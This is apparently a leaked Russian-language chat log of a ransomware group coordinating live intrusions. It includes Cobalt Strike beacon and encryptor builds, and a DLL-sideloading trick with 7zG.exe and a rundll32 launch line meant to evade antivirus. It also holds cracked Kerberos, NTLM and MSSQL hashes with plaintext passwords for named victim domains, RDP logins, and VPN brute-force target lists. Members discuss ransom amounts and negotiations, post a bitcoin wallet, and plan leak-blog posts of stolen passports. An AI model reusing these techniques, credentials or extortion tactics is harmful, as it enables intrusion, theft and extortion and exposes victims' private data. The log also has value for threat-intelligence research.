cmd ne robotaet no powershel lrobotaet

copy past tozhe ne robotaet

nado s weba skachat' file

* cmd ne robotaet no powershell robotaet

Screenshot 2024-03-14 063847.png

ok

naikonku v dekstop nzhimaesh Sanne Alto AWS

3file.lockers.zip

muaddib6: burrito

++

есть стук?

Archiver.zip

вот тут 2 файла

их нужно положить в одну и ту же папку

ну чтобы они рядом лежали

и потом запустить 7zG.exe с флаогом b

из командой строки

7zG.exe b

вот так

и запуститься маяк ваш

++

если все окей, то подставляй этот вот файл 7zG.exe к любой длке с точкой входа GetModuleProp

и чтобы она была x86

там должно было придти от Joe Biden

кстати я понял, что тот тип переписывал, щас сижу смотрю разбираюсь

> <@usernamett:matrix.bestflowers247.online> 17_443_x64

17_443_x64.zip

++

kekhash.txt

https://github.com/mgeeky/ElusiveMice

вот если что исходник этого решения

ну без крипта

> <@usernamezz:matrix.bestflowers247.online> sent a file.

++

отойду на пару часов

кароче надо переписать udrl и он будет чистить stageless raw

дошло до меня как это все устрено

рефлективка отвечает за все это

думаю что профиля и udrl хватит, чтобы у вас все чисто было

начинаю его переписывать

что то придумаю щас с ним

> <@usernamett:matrix.bestflowers247.online> 17_443_x86

17_443_x86.zip

++

> <@usernameww:matrix.bestflowers247.online> sent a file.

++

5.7z

вот

cr.zip

> <@usernameww:matrix.bestflowers247.online> 3file.lockers.zip

> <@usernamett:matrix.bestflowers247.online> sent a file.

6.7z

> <@usernamett:matrix.bestflowers247.online> sent a file.

7.7z

++

От души, спасибо! даже не знаю как благодарить тебя)

это я могу, с удовольствием

GG: Они уехали все

курить

в 21

все отчекали

Добрых снов!

Хорошо, завтра проверю

в глазах двоиться начало(

я хотеол туда но мне силы интернета не хватило ту да зилить инет не работал

ща сек

попрпорбую заново залить

image.png

слишком много весит что не заливается на temp.sh.. только на file.io могу еще раз перезалить...

> <@usernamegg:matrix.bestflowers247.online> BULWARKCORP - блог когда будет готов ?

по тегам что обычно найти там не ищется... качал хотя бы что то.. интернета не хватает чтобы скачать что то...

давай с богом хорошо проведенной операции тебе!!! чтобы все хорошо было!!!

`https://file.io/0jdGYZZHbiIF`

на temp.sh не заливается ( тольтко сюда (

я спать завтра рано вставать

я хз

устал видимо

тачка одна осталась

вскачал рано чтоб проверить жива или нет)

жива, щас буду колдовать

ok

```

я на кровде проверял - пришел

но инж не давал

LM:NTLM

```

```

доменных порезали в правах

и они читают только дц

ищем админов

у JJ проблемы с инетом

да

да

сам лично это делал)

остальные к 10 подтянутся

ага. в 21 выехали

> <@usernamegg:matrix.bestflowers247.online> бля каждый час просыпался сегодня

ты не будешь ничего чувствовать) будешь спать

да

бабочка. лежишь кайфуешь

если волноваться будешь тебе укол сделают чтоб подуспокоился. иначе давление крови поднимится

все правильно, мысли лишние в голове гонять не будешь

мы еще даже не можем с тачки вылезти этой

щас на дц собрался идти

процессы снимаю

https://file.io/0jdGYZZHbiIF

---

image.png

МТС для ноутбука с подключенными впнами

---

```

---

> <@usernamegg:matrix.bestflowers247.online> sent a file.

блин выкачиваю файлы с BULWARKCORP там много pdf нашел в юзерских папках но какая то вата всё... нормальной даты там не было..

> <@muaddib6:matrix.org> готово

даты по ним 87гб пишу 155гб какие то файлы ща накидаю но пиздатого ничего не нашел.. еще продолжаю искать

> <@usernamegg:matrix.bestflowers247.online> http://temp.sh/HhaAl/16dns_test_payload_x86.exe.zip

блог сделал ознакомитекльный какие то файлы добавил туда но они обычные файлы.. не испугают. паспартов не нашел по всем юзерским папкам прошелся. дата вся старая там была..

Привет

> <@usernamegg:matrix.bestflowers247.online> сейчас это работает ?

днс маяк

должно все стучать

запуск идет длки

Было криптом с чистым стабом

image.png

стукнул и сдох. как и все остальные крипты билды и так далее

а инф как быстро сделаешь?

> <@usernamejj:matrix.bestflowers247.online> sent a file.

2 часа примерно

чищу

> <@usernamess:matrix.bestflowers247.online> вот этот

```

`oiiad.com\KLMiller-PRV aP@s5w0rdT0F0rg3t!`

oiiad.com\SBellard-PRV aP@s5w0rdT0F0rg3t!

`oiiad.com\SBellard-PRV aP@s5w0rdT0F0rg3t!`

```

> <@usernamess:matrix.bestflowers247.online> с инфицированием или крипт?

1.7z

pNhvCgfugxCelowqiMYEzjHnsXDsHnmGzpDUdQjKkMUIkzwCwm

строка

Привет

закроемся?

кош bc1qg3q0gh4uyr3thfqu4e0sz7tdzk5gjsqntnzzz2

1500

```

columbiapipe.com

продли, пожалуйста, таймер, они адекватные

numotion.com - эти скорее всего поднимут цену после митинга

так что им тоже разумно было бы продлить

Привет

тебе ласт не писал? че то он опять куда то пропал

ku

$$: perezaxodi na rdp otkril ego

`Fahiman1::SANNETRUST:1122334455667788:3dec36121a88df947a314678678bf9f0:0101000000000000d588e5a0f576da01d817b7a41f0f11890000000002001400530041004e004e0045005400520055005300540001001c004500550057002d00500052002d004300540058002d0030003800370004001c00730061006e006e006500740072007500730074002e0063006f006d0003003a006500750077002d00700072002d006300740078002d003000380037002e00730061006e006e006500740072007500730074002e0063006f006d0005001c00730061006e006e006500740072007500730074002e0063006f006d0007000800d588e5a0f576da01060004000200000008003000300000000000000000000000002000000b02b270cb1f3ecaffd8faf070cc20c2455c680f8db7375b4dba09fb5f582b4d0a00100000000000000000000000000000000000090000000000000000000000`

`Ap3!123Ap3!`

> <@usernamenn:matrix.bestflowers247.online> `Ap3!123Ap3!`

Ok

Привет

3160$

sierralobo.com - потеряли листинг

привет, как будет время, расскажи как получить файл кобы в админке, который шелл 1кб, вижу только длл и ехе в меню панели

Spasobp

* Spasibo

бро привет

обновился элемент все сообщения зашифровались

жесть

-------------------

USA 60kk

-----------

у них 2фа стоит на вход в сетку

мы его добавили в браузере

если вдруг понадобится

> <@usernamegg:matrix.bestflowers247.online> как ты ?

операция прошла успешно?

> <@usernamegg:matrix.bestflowers247.online> как ты ?

* Хорошо. Эмм, спал я. Может это сообщение дошло поздно. Вчера еще вообще элемент тупил. Не работал нормально

* Хорошо. Эмм, спал я. Может это сообщение дошло поздно. Вчера вообще элемент тупил. Не работал нормально

sierralobo.com

опять та же хня

они угорают мне кажется)

привет, я отметил

> <@usernamegg:matrix.bestflowers247.online> sent a file.

и то, с изъянами, о которых раньше говорил

Привет, как ты там?

Как самочувствие?

А то помню ты говорил, что 15-го операция

Завтра уже тебе скину новый udrl и попробуем криптануть, должно быть чистоъ

```

```

прокладка 9_4 (4 фтп басты) не работает 178.236.246.148

http://thesiliconroad.top/ домен к нему тоже, полагаю, что из-за прокладки

можешь проверить айпи к которому привязан greenmotors2.top? какая то ошибка появилась, но не могу пока определить что виновато

бро привет

у юристов какая чувствительная информация

что искать в первую очердеь

я тут мелкую ломанул , скачал данные с 3 акков

там какие-то договора, соглашения и тп

Привет, как ты там?

++++

схему с 7zG.exe надо протестить, она должна многие АВ обходить

ну я тебе скинул архив

> <@n3auxaxl:matrix.collectionofmanager.space> sent a file.

ага

там я тебе выше описал как запускать

Сентинел не обошла

ну это скорее всего будет чисто с моим профилем

Длл имя одинаковое должно быть. сам EXE можно имя менять

потому что там в моем профиле конфиг на рандомные PE спуфинг секции

ок, ща буду разгребать что там

Привет! Скоро сброшу брут

---

сетки какие-то получилось еще забрать в работу?

то что последние скидывал

и anydesk

AUTH_VALID.txt

SONIC_VALID.txt

CISCO_VALID_ITEMS.txt

WG_VALID.txt

FORTI_VALID.txt

CISCO_BRUTED_VALID_IPS.txt

SONIC_BRUT_VALID.txt

WG_BRUT_VALID.txt

> <@usernamegg:matrix.bestflowers247.online> sent a file.

По ситриксам еще чел не собрал нам айпишники

Все хорошо с носом ?

+

понял

а другое

++ ок, щас переключусь, другую смотрел

давай зайду проверю

минуту

выбивает меня он

и еще там впн уже расконектился

вообщем пока смотрю с доступов

подключил

можешь заходить

14DNSx64.bin

15DNSx64.bin

---

creativeenvironments.com блог опубликовался. их подсвечивали со всеми вместе на прошлой неделе. походу у них таймер был не большой. заливаю по ним дату? или еще дадим им время?

ок заливаю

ага сек

отдал $$. сам с доступа уже подключился, смотрю

```

ага сек

OIIAD - вот по ним еще сделай мне страничку блога. я найду там что туда добавить из этих 188 гб. только сколько указать что мы выкачали.. поспортов там много но не совсем распространненных стран..

```

Занимаюсь

сколько за доки у них можно просить? думаю может так написать им на мыло

есть какая-то формула

проц от ревенью

`PCTINTERNATIONAL.COM/Administrator:9b0b5e8b42f96c1e5b01c79d506d5048`

`PCTINTERNATIONAL.COM/jose.mariscal:1f9d82866a3caeda8c3caf0d5a7814e0:jose.mariscal`

1f9d82866a3caeda8c3caf0d5a7814e0:jose.mariscal:Gigab1t99

++

```

> <@usernameugway:matrix.bestflowers247.online> сколько за доки у них можно просить? думаю может так написать им на мыло

-----

сайта правда у меня нет)

или все тебе скинуть

1бтц тоже как пример указал

$6$Md0IGkS03pyhQU9J$WFMi.RyhqU2zYa5vFyv9q9G.0T/QDTz0WsZX7Qot1MqqJGQaaMLUUMwnlR1KDwt3YCmc1DB5kgvVqoN2rxcXc/:ccpadmin

> <@usernameboy:matrix.bestflowers247.online> $6$Md0IGkS03pyhQU9J$WFMi.RyhqU2zYa5vFyv9q9G.0T/QDTz0WsZX7Qot1MqqJGQaaMLUUMwnlR1KDwt3YCmc1DB5kgvVqoN2rxcXc/:ccpadmin

> <@usernamess:matrix.bestflowers247.online> ```

$$ попросил отписать, что это тестовый ВПН

привет

слушай, можешь глянуть этот чат

anastalaw.com

там, какая то херня у них произошла, и они просят новый чат

либо саппорт ИТ их вел переговоры

либо хз кто

`OIIAD (id:e925201f-f578-48b0-90d4-4d2df8be3882)`

хорошо

аа

ясно, выздоравливай

ага ++

> <@usernamegg:matrix.bestflowers247.online> 1btc маловато

> <@usernamegg:matrix.bestflowers247.online> там тестовый впн

ну конечно будет меньше

> <@usernamegg:matrix.bestflowers247.online> что делаем ? собираем еще почты ?

с мыла и пасса все же будет в основном

брут запущен

но все же это время нужно, пока подберет пасс

а еще и логин неизвестен

но у нас же есть много мыла

я короч поставил брут чисто для логинов, которые у нас есть в базе мыла, хочу посмотреть будет ли лучше находить

Там с этого брута никто не платит? А то сижу его дарабатываю постоянно, а выхлопа что-то нет.

```

$krb5tgs$23$*RTCComponentService$ALPHA1.KMBDG.COM$alpha1.kmbdg.com/RTCComponentService*$f2f3c265299bbf52844...bd802d945c:Mcse2008

> <@username777:matrix.bestflowers247.online> $krb5tgs$23$*RTCComponentService$ALPHA1.KMBDG.COM$alpha1.kmbdg.com/RTCComponentService*$f2f3c265299bbf52844...bd802d945c:Mcse2008

70кк

+

> <@username777:matrix.bestflowers247.online> $krb5tgs$23$*RTCService$ALPHA1.KMBDG.COM$alpha1.kmbdg.com/RTCService*$9ee05d7deeb085ac96e...f514c9e352:Mcse2008

Stop. Thx

* ```

RD_DOMAINS_NEED.txt

обновленный список доменов, которые нужны

> <@usernameww:matrix.bestflowers247.online> sent a file.

1.7z

++

mjcelcoinc_kekhash.txt

да я вот хз

звоним им в офис не берути трубки

какая то подстава

на этот номер не звонили

ща друг придет, он отпишет им

хотя первый раз звонили, дозвонились, сказали выйдут в чат, начались переговоры, и тут эти васи вылязят

сколько думаешь по ним написать если 188гб скачалось? блог почти готов, вроде норм получится. там и перс доков много и каких то соглашений цепануло да и чертежи есть.. только я их открыть не смог..

> <@usernameww:matrix.bestflowers247.online> sent a file.

rundll32 file.dll, EppBRSetCallback

JPadZjNdeZJpeshgWtcryWpZnVYvIDHUcHWKtfcJAZppgyCwsi

2.7z

строка для размножения

Az_kekhash.txt

da

какой регион?

юса или еу?

++

rbs.txt

> <@usernamejj:matrix.bestflowers247.online> sent a file.

> <@username777:matrix.bestflowers247.online> $krb5tgs$23$*spadmin_db$LEVIAN.LOCAL$levian.local/spadmin_db*$4d5126c349f6f18440b...21492e9525:leviansp

> <@usernamejj:matrix.bestflowers247.online> sent a file.

> <@username777:matrix.bestflowers247.online> $krb5tgs$23$*jarek$LEVIAN.LOCAL$levian.local/jarek*$8e983532925f626760d...3ded2196a3:Jarobr123

> <@usernamejj:matrix.bestflowers247.online> sent a file.

++

bulwarkpestcontrol.com ты удалил да блог? а то точно был помню а сейчас кб его нет. BULWARKCORP остался.

```

`207db1cf65c8c17298569c196dbbe5ef`

cpanel feb 1.txt

COUNT_NEW = 402

Mail pass Feb 1.txt Imported: 3,083

#109 owa feb 1.txt Count new and valid: 26

smtp feb 1.txt count_new = 351

plesk feb 1.txt New: 27

`aic:$DCC2$10240#aic#40ac8c15533eb1d25ce4196325a49671`

Ignition2016

$DCC2$10240#aic#40ac8c15533eb1d25ce4196325a49671:Ignition2016

++

а можно ли где-то брать сервера, чтобы прям без соксов брут запустить? но это наверное очень обузоустойчевый сервер должен быть

> <@usernameww:matrix.bestflowers247.online> 14DNSx64.bin

14DNS_x64.zip

++

просто все же, чтобы сделать дикий брут, нужно максимально много машин, на которых без соксов можно будет запустить брут

> <@usernameww:matrix.bestflowers247.online> 15DNSx64.bin

15DNS_x64.zip

++

мне в токс стукнул ssd, ищет тебя, токс его

```

привет, что сейчас нужно вам вообще?

крипт сент X86?

чистка артифакта?

> <@cob_crypt_ward:matrix.bestflowers247.online> крипт сент X86?

```

file lockers nyzni eshe

defd5b2fadbf1ee13e30d3bcc4fa1189

3 есть

штук 5 сделай пожалуйста

lf

да

вдсина помойка

у них постоянные проблемы с сетью

stop my all

Хорошо!

++ выздоравливай!

dobroy,vyzdoravlivay

кучаа огроная мифический сеток маленьких

8 штук

++

да я перед выхами делал блог! 100% сохранил его. ничего нормального не нашел но блог по сути сделал такой ознакомительный и прогружал он там был

а сейчас кб он пустой

image.png

вот не понял что за глюк.. точно все подгружал.. и перепроверял заходил на протяжении дня несколько раз там все было..

ну ладно не велика беда у меня все есть я сетки доразберу и оформлю их еще раз тогда

)))))))))

ладно отдыхай не заморачивайся я их переоформлю сейчас )

да переделаю что тут не сложно, я был готов их уже до этого переделать просто подумал мб ты как то их зажублировал в приват были такие сетки. переделаю там фигня сетку доставлю качать и к ним перейду

у меня все что по ним для блога под рукой грубо говоря так что норм

eshe odin gde to zateralsya )

4file.lockers.zip

* да переделаю что тут не сложно, я был готов их уже до этого переделать просто подумал мб ты как то их задублировал в приват были такие сетки. переделаю там фигня сетку доставлю качать и к ним перейду

да работает

но у меня лучше всех скорость почему то.. с подключенными впнами вообще летает и не отваливается... надеюсь так и будет работать дальше

Все поймал! Доброй . Поправляйся!

1file.lockers.zip

К утру бы все 5 очень пригодились

bulwarkpestcontrol.com исправил все добавил!

и думаю можно подсветить oceaneering.com. тк мы их поставили не очень а блог нормальный получился это я даже не все паспорта добавил там их дохрена(перс доков в этих 188гб) дубайские не стал добавлять и африканские, тк мы вроде как с ними дружим..

+

> <@usernameww:matrix.bestflowers247.online> К утру бы все 5 очень пригодились

4.7z

++

> <@usernameww:matrix.bestflowers247.online> 1file.lockers.zip

ok

cinfab.com - говорят что они на блоге

> <@usernameww:matrix.bestflowers247.online> 4file.lockers.zip

cr.zip

Привет всем!

NN: qq

недавно проснулся

я лежу щас с буком

на форуме возня, люди негодуют как обойти crowd strike ))

`64.176.219.106:39781 PCTINTL`

`64.176.219.106:38515`

`185.219.221.136:44325 KMBDG`

привет

в общем проблема если не шифруешь данные

это обратить на себя внимание

сегодня еще подожду, но пока реакции нет

-------

допиливаем еще автоматику под обьем, а то в пустую слать будем

и я нашел как закрепится в системе

когда поулчаем доступ

в азур

-----

++ мы можем настроить брут есть супер идея как это сделать

но нужна твоя помощь будет

----

в общем как увидимся все расскажу, думаю будет инетресно

----

пока плаан такой, шлем немного спама , ищем впны , отрабатываем автоматику

----

бро а как ты ищешь айпишники на какие брутить впны?

у меня понятно иснтрукции попадаются

* ++ мы можем настроить брут азуров есть супер идея как это сделать

щас проверю

----

а что поправил?

image.png

какой там айпи стоит

нашел у них Облигационный заем на сумму 310 400 000 евро

Привет!

AUTH_VALID.txt

CISCO_VALID_ITEMS.txt

WG_VALID.txt

FORTI_VALID.txt

SONIC_VALID.txt

> <@usernamegg:matrix.bestflowers247.online> sent an image.

это xmr оплата?

вчера начал делал

сегодня думаю закончу

на сипанелях брут

может быстрее хоть будет и без соксов

но может прикроют быстро

ав

```

+

вроде все работает, не падало

> <@usernamegg:matrix.bestflowers247.online> так же брать креды от них и пробовать подобрать впнки ?

на серверах сипанелей сам брут и буду поднимать

```

Это Бруклин Мусора бляди))

64.176.219.106:37443

бро контора таже , впн пока не подобрал

image.png

https://www.ontier.law/contact

https://www.zoominfo.com/c/ontier-llp/359307342

------------

она не большая, это юристы

и скрин который скниул относится к одному из дел которые они вели

`185.219.221.136:46309 AZDEL`

Знаете когда LSкаем тачку какую то, а она не LSкается

еще блять так долго бывает ls выполняется около минуты, а потом ошибка

ERROR_BAD_NETPATH

знаете почему эта хуйня?

Знаем

и почему?

что происходит в этот момент знаете?

> <@usernamess:matrix.bestflowers247.online> Знаем

да, вот сеть была только что такая

почему так долго ответ получаем с ERROR_BAD_NETPATH ошибкой

> <@usernamenn:matrix.bestflowers247.online> и почему?

дак думаешь или знаем

> <@usernamess:matrix.bestflowers247.online> про LS

короче это из за того что мы пробуем перебирать пайпы

обычно мы по стандартной пайпе читаем тачку

а когда она не может прочитаться то пробует перебирать другие

по этому перебор занимает тоже время

как до них инфу донести?

протсо на почты писать?

понял. может твои тогда наберут

и попробуем дожать их

30-40 примерно гб

5.png

4.PNG

3.PNG

2.PNG

1.PNG

а вы что-то конкретное там ищите или просто обьемом давите ?

что у юриков искать

я пересмотрю эти файлы

вдруг там бриллиант )

давай бро поправляйся

я пока фильтрану инфу которую скачал

может наберется на звонок)

`185.219.221.136:34879 JAYTEX`

64.176.219.106:40603

```

`64.176.219.106:43935 JAYTEX`

10.7.1.131

`64.176.219.106:45339 JAYTEX`

`jaytexbkp\Adminis m8R_Z6TGZ5_Pas`

```

привет

по поводу юристов вот

есть вариант новый чат с ними сдлеать ?

сейчас позвонили генеральному диру, по офф телефонам

тот номер который его личный выключен. По первому сразу на него перевели, он говорит я бежал к телефону , меня позвали. Весь такой он доброжелательно-навязчивый. Извиняться

вот разговор

он боится что старый переговорщик будет видеть чат

64.176.219.106:45339

тут

мы нужно чисто чтобы передать ID чата

*мыло

какие-то проблемы с мордой

файл не подливает

да и в целом как-то некорректно работает

много лагов вообщем

начиная с джона, потом смена пасса, потом лок

`64.176.219.106:44313 JAYTEX FIZ`

скоро

ну там нет никакой нагрузки

с интернетом может что-то просто

так вы вроде стопнули джоин

скоро посмотрю что с ним

ну тут ошибка

токен не получается

XSRF_TOKEN empty

лучше пока да, вручную

ну ошибка в работе джоина

разбираться нужно

щас

ну я сейчас смотрю

с джоином проблемы

странно короч

ну сейчас вообще что-то с соксами

+

пока что брут настраиваю на сипанелях

https://68.74.216.179/RDWeb/Pages/en-US/login.aspx jhobbs@airsystems1.com jeremy

один нашелся

крупная вроде

`$krb5tgs$23$*Administrator$TRAVELWAYGROUP.COM$travelwaygroup.com/Administrator*$9e47a22d6db403eb3d972855835f1c73$199ddf2a013106663df521dbf466000b7ef77476d0b7ab5a6cf155e543a80a0d4b7c4825a0d3f0463d7d5fefa64f4f09a453859155405d0e2420691491cafb050fc3d7070ffd956f86cf76dd02e1d4c4c1ba79ef6c8e491838b312ebdb24236fe53c0ab7f783412369361f255733cd9683b51269e0d492fb56e1d455a1d5fef6cc494d6774c187cbc3c278ceecbae73c7c971dad9aa19ac717c03dcdd999a715a19c642ccc3c61c78c0509ab957cb74629db78b8038f544f740ab215761319c5d4a72468c0d8840e76707c34249687b8ac4a00e7d59d2d99ca3ea62a00b90ad6d260a568e56dddd8a24824151f4f2af8ebbf1e72b3529b0d5acdef02ca9734c40c25157d78b8e272772f7798320df3971ffe7f52441824d6ad2a2c2c62d8a901e6f03004c345729777d6d98ed7f733504aae45633f70aec9d41882d4f5c97b503f047382d2b849bc97dc8968db2c4f6567b3f4d4867bc4c641e53eb2252e9176db74f050a7ef82212b1afd2aab83c4421265a4868535fe8f7b25fdb9d3e2dd991ca2103a757af77b4c31406b0bf302864e30a168b53b860d189e4922f5b458d5a3e60bb341e835a28fb82fb5050f08ca08d226de9ae6c3dfac1115862ea914650bbd92363aef5e1e240842c975f972c11460e3aaee256878422054d91aec9b46561971ede392b87644173c43aac6b5ec0a7238cb30cc5a527f3291173be8c792968f36fa52e21c120e126c7f3b566a28162d48b9de92721a7739e46a71d7eacde6bae8bb6e0762beec55e40918e6058896c44448701f027ecc7bd8cb06614a335c630c71aae2c7b5cf85a56be558d337b67a6443a9306e874dd37920e75ac704f44e2dbaa109bc572656e43a92949cc63094e89f23393e2217c7dfc8dd4f68e57027f1c78072a3532f89d92f742c4e7de7d37b0013fd4dcf416cd7bf8151b8fc7c086c44448f6a67b627537465360d33562b2d46b03faf460ad1f0127d8ef2467df5555ff07d480d8fed0c2b6d37667d9202445ee6d8547bf563537ddb2cb23dbe259e649fd516179d9835b66fceebdfbce5561c0bbe7c185e0b80354b327ed495bf7ac18019e4eb5e7e42082f4fccc8a863fe9d642d68133f273238217c282648076163ded6899f77d6d81c37048e306ed0bde6a8c2bc8741591b0a42e49c86adcce3da1950ab621b9a343e3f0dbc61c3fd6541b48d37e7d487781f4558d41ba39385db28ff17b708fd9c90b868ca2b3acc143ae5be7df8b28926e3d5a15157becf208f8ab7248abe7076eeebb5be419233b97ff1db2c1f9ead98d8a9b9d78c5d4c967b263483ae76ade39cde7571efcd9ca83a754f60540ee0ee039feac973bc058e7f0bcd1a89d4ceda1be3c4b19250b25088aeda924f43caa1f3be6900990cd5d0e402a8766f626c352f97771a96f9b5c223bc0a0618c7319a426a07622fb8617614801df604a6911826991745de79385f7b3632f3f5c10e74304bfbea656159ecdda59770a23a6c5f41da5289e7dfdb55a7a5974cda16041f00295701339bc7c24fc79a81bfcda0b57a1e386238fcfb01aeaf076431b57e04e35e1b8bc5d9cdf3f4db214cc71b0f47f9ff884dfe3bf0d3e161b658c41c11b71573daf53ccc10c75c2ae73d224d877c72932c376e90a7529b75fe1c2c1550038b724ad330524de55b48aeabfc2059`

привет, сейчас ничего не нужно?

`0x0100AEDBDC7A48AE93C397AF009A2AB19D7992775FD112D690F5`

> <@usernamess:matrix.bestflowers247.online> `0x0100AEDBDC7A48AE93C397AF009A2AB19D7992775FD112D690F5`

??

> <@usernamess:matrix.bestflowers247.online> `Access!23`

Ok

p5_dns_x64.exe

привет, x64, только 1 вариант крипта

+

```

0x010062c88613fe1c824fa41a6f430d8e9a883ea37cee27c66f62:Password123

> <@username777:matrix.bestflowers247.online> 0x010062c88613fe1c824fa41a6f430d8e9a883ea37cee27c66f62:Password123

привет, спалило длку?

или как?

> <@usernamegg:matrix.bestflowers247.online> ты когда закончишь с чистой атефакта ?

ну которые stageless

скоро тебе скину

\уже тесты заканчвиаю

`0x0100e0457069bfa1426ae110d0368824d13f81ee69e0aa485e46:buxdmp`

0x0100b189fbb4b81a5e255fe391338ab1efac8755457ffe744813:ucz1o0

++

0x01006720391589979019fac0113bb8e96625431ced13a3fb6d03:gvtpve

0x010050445e1379ad8cc9f8a84a017eb71ac31997bfe396b90172:tXijJ

0x0100df42f40ac30a13c14353b12247d8693c8c4a633f904a1800:zboYLp

stop

thx

Спасибо

keystonetech.com - литсинг просят

привет, пингую вот как мы с тобой говорим

почти закончил уже

anthemproperties.com

вот эти довольно адекватную цену предлагают

посомтри плз

interluxury.com - а эти наоборот

та я постояно занимаюсь

просто не так просто как казалось

southernwater.co.uk - эти заплатили уже, помнишь?

всё, я написал всем всем

скажи что у вас палилось в 7zG.exe

саму длку спалило?

или что именно?

при запуске или при дрпопе?

* при запуске или при дропе?

я то кобу сделаю чистой, ну сам stageless raw

чтобы он сам дропался чисто через reflective

но до кобы же идет еще крипт

который запускает сам шк

если будет палиться именно то что будет запускать шк

то это я не смогу вычистить

это надо писать крипт самому получается

и делать так,чтобы он был чист в первую очередь

и по статике и по динамике

ибо даже если коба будет чистая, коннект будет чистый, но крипт будет палить

`$krb5tgs$23$*Administrator$nt-domain.local$MSSQLSvc/WKECM02.nt-domain.local@nt-domain.local*$64BC9761B385DA250025C993FBFBBD43$200251A8C4DF1538E1AB5CE67BCC3C046F50F27A49988B881F6CFED71028C3F3B984D33B4755872ADDD8B27AA22BE09B51DB41386B10D57763103E2238D3C46B2EFDF4A35FAD5EF3F9A94AAC92897BEA077C083D1BD9F19EC59EFE08F406E16BCA873495D7E6F0354B49094671F3ADB6C95ED2786A8EBA20EC359F5394913BE9D131AC03AADFB2C774FFCCF81967B29E9A60D6A1BEA7B3669942E95CFB4770098E2274F25F9B3F4B7663464F0D2AFABFDF1E2A127CD9360C1FD211BA22A67447232E4EC16DD8BC5DBEB7FC1BA3B09FE90370618F3259F8C1BBD2779B5872D68822E2B24B3F2E3289BF0ABC30A19F8357CECFFA9FCADC948EA9B2E3AD3949029A36383D571E08E5FD865009F37FAC32EEB11F7A2692629CC85F8D1F6565C6DAFFD30FA42CB2F440526E86913689FB5C854B8D0B06B0D9B8A34AF6AC1953FE66E8DDB3FF94C26341E6061E68D78A970ADDD3269BF212D23EB1E8F64E287E663BE0094528BABE77ACC522E9C8A0ED8E9DF5A7E4BAE1F51041F85A75E567E1E887E04963E2D196994A699FFC8AAA747CFFA9C095D23467A98D5B54AD838B6C317BBAAD510A8C24FB497D85A6D0F53403E66297A39927340A92B0D08A58A2DF047FE40FE61F9F5B822AA0C1A0FA42221BE297243891B542B807FEA4A24490C10984494DC6F4DEA80DDFDDE512796A252500B1FBC55655318670115DD02DF483A8F9A3ED3C7529B2E429EE95C7B3A3480158AF89A451CFBBBE2353C6F87350C1C9D516359C34F50A081C624E233D85D6A7D089F8844F94BF2FF1AD2AF0A969C714B51696D8E89161CB9AF8AF6EA83AE6974B1B9DB8E11475B5BFA925286B03985BD00976F484F5E3B114D85D0E57F0E23D0EC580ABF075141694BBD6CC348E554D81F24D731F0BC4DFBB382708DB3F6CF07286AB12A59459205DAE8A9E6FF9B2E083B34B373AE3C7654D0130C2A415ABADE4323AF386C246A7CCFE5549F58DA57FED8683E1DE0D54815BC646D3A459B9858AC25E1AC93D05B16ACCBA6FA3187C01994AE106D65059C9F40064171D214C0B4B0816545946275FB2A574936C05D1BDF27535F881B4F8858DBA12445EF8D3F183AEDF25993A91D435DD402E10B0D63EF880F4AA26050A58719E4E5B29B1567B1EB1A3E38153A0909E7814D543D6D8D5E004F923FF173B3F5AB53A17C5D81AA4F0C064F276D009B87170192CB52D10F73A1FD311A0850FFC7B80D8DB2F48AF847B6F4A30DC049BD999BD43215C0F717961FE6F385D5056A09DB9F730F0FC99516B4B3005F60314D870112697AB2EC7A4E6CF2CCB0C49330316E78B51CA3C79204CDC30C0D7E04556E72E8E2664B4DAA98FA8A7F58B141E62FE36AB2AE172C699BBD1FB4DEA80CA63EF69BD31E2CB75D19E8B47816DF14E5DDDEC67E6058D18E57193DF32EDF268EB3285E4D03A5E3F036E5BC4B9746C8F8043D847793FA29608DF66AC573667957D00E4EC8FDCBA42058F85B0F8AE05C74B3923037C61EA62B482D8193A939C667CBC62034B4BABF540476000F8CEA7A2CC13BD6EEA1DC40858CFF56D5EA7F830DCDC62B94B8AB607BFEFEE9362F77A5D0F787CEE3142326B6D35137A0E7376433036A234F121A62597F5234B7D541B022FEA98C14E603E8308A51746519BAAFB341D45259F20687FFCC9F4368414082513EC6FF414752D7FEE2B96FE82E0BB37B5C77DB9884ABF389782AF0F9589970A5BF10D8100D67C4E37FEA3A0591C49C55D733AD59B65BDE5010F17ADF600F360CDDCBBE077DCE46E674A62E52342FA45B9F41608CBBEBE33536DC3702AA8C6F7E8F947B5A1CD888ABD488E7D04FEF8F91D3BD079E1D41B8AC4EAA51B29800D911DE5CFB6A3EDCE3EB7F50ED648F849A1632C9B0DD227A0520E6AF71440F9064088D071C458A791BBBF8AC1F3AC7CDB1B2FBB276B2D786603B6DAB8160714BEC2148D659476DBB880B78C4B875119F7111E56905BE156063C6F726769178A15A95ADABF7AC1CBD4736C73E72E818E12B634B0D56573145D19F6B0524579579BA03BAC8BE8D0DFD152193D7CC37AA2546B20081A219458CCA46D6585613CDD041D6D7CDA18BA8896D3F32917FD6A360E1E422968CDE587CB53B4731A60CF1210EA209964BE5162A4780EC27E7CADCDE6E2BB64D742DBD3A16CA8DE43B4B59DBE1ECD9CBA520D58CADF8027C23E09B159F77B8FE9BDBADF843EDA0F6BE60D130FD133FEB2A16A6CF13294C83EBB811520458D91F56607A11F990C9F3D6D7CEE7F5E364443F335E370DFE0FCD43BF97243D6D1174F9CAC7D04DB2D157ECD0FF12045C16A5449269352AEB72230C1`

ker.txt

++

> <@usernameyy:matrix.bestflowers247.online> sent a file.

+

1.7z

строка

DIsgmmiDgHeWjXbKPonZHZNObqaEjPOfNDRgWtEeiMrrGyyTms

вот) заплатили

эти же 1750 предлагали , нет ?

1 миллион предложили

и так и не перевели

1750 мы предложили

а они предложили миллион

ну, вообще миллион это больше чем 0

> <@usernamegg:matrix.bestflowers247.online> We have now discussed your proposal with our boss. Your offer is not enough for a deal. But there is a very good offer, If you pay within 48 hours, then we are ready to make a 50% discount from the original price list. The deal amount will be $1,750,000. Discuss this with your Management.

а, да, вижу вижу

тогда тем более жаль что не выслали

18_443_x64

18_443_x86

Делаю

```

Обновил софт, пофиксил .net инжект. + добавил статус загрузки команды (см документацию) + изменил поведение, читать нужно всё, там же ответ на главный вопрос по изменениям.

1.7z

> <@usernameyy:matrix.bestflowers247.online> sent a file.

kerb.txt

можно тоже на форму вытащить ?

```

* можно тоже на форум вытащить пожалуйста?

> <@usernameww:matrix.bestflowers247.online> sent a file.

++

> <@usernamett:matrix.bestflowers247.online> sent a file.

2.7z

строка для размножения

++

$krb5tgs$23$*bkadmin$W1-RESEARCH.COM$w1-resear...6305:W00Ting16

++

